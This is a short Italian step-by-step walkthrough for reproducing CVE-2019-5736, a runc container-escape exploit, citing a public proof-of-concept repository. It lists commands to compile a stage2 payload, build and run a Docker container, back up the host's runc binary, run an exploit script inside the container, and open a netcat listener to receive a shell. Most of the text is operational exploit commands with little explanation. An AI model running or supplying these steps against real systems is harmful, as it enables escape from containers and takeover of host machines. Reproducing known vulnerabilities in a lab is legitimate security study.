- (1). Compilare stage2.c per generare il payload.
- (2). Creare il DockerFile ed eseguire docker build -t cve .
- (3). docker run -d -t --name cvetest cve
- (4). Eseguire il backup del runc della vittima con cp /usr/bin/docker-runc /usr/bin/docker-runc.bak
- (5). Eseguire docker exec -it cve /bin/bash.
- (6). in docker run cd /root && ./run.sh && exit
- (7). Sulla macchina vittima eseguire nc -nlvvp 4455
- (8). Sulla macchina attaccante eseguire docker exec -it cve /bin/bash
Riferimento: https://github.com/agppp/cve-2019-5736-poc
Grazie